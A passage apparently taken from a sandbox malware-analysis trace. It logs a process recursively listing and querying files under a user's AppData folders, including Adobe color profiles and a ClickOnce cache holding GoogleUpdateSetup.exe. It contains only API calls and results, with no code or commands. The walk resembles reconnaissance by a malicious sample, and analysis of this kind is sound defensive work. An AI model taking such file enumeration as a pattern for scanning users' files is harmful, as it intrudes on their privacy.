	[0066.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1
	[0066.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.204] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.204] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74)) returned 1
	[0066.204] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0)) returned 1
	[0066.204] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data"), fInfoLevelId=0x0, lpFileInformation=0x123fdb38 | out: lpFileInformation=0x123fdb38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.205] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps"), fInfoLevelId=0x0, lpFileInformation=0x123fdb88 | out: lpFileInformation=0x123fdb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.205] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.205] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.205] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0066.205] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.205] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.205] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0"), fInfoLevelId=0x0, lpFileInformation=0x123fdc28 | out: lpFileInformation=0x123fdc28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.206] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0066.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1
	[0066.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.206] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax"), fInfoLevelId=0x0, lpFileInformation=0x123fdd18 | out: lpFileInformation=0x123fdd18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.206] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1
	[0066.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.206] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.207] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt"), fInfoLevelId=0x0, lpFileInformation=0x123fddb8 | out: lpFileInformation=0x123fddb8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.213] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.217] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.217] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1
	[0066.217] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0066.217] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1
	[0066.217] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.217] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.218] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715"), fInfoLevelId=0x0, lpFileInformation=0x123fdef8 | out: lpFileInformation=0x123fdef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.220] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.220] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.220] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1
	[0066.220] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.220] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58)) returned 1
	[0066.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec"), fInfoLevelId=0x0, lpFileInformation=0x127da008 | out: lpFileInformation=0x127da008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.221] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
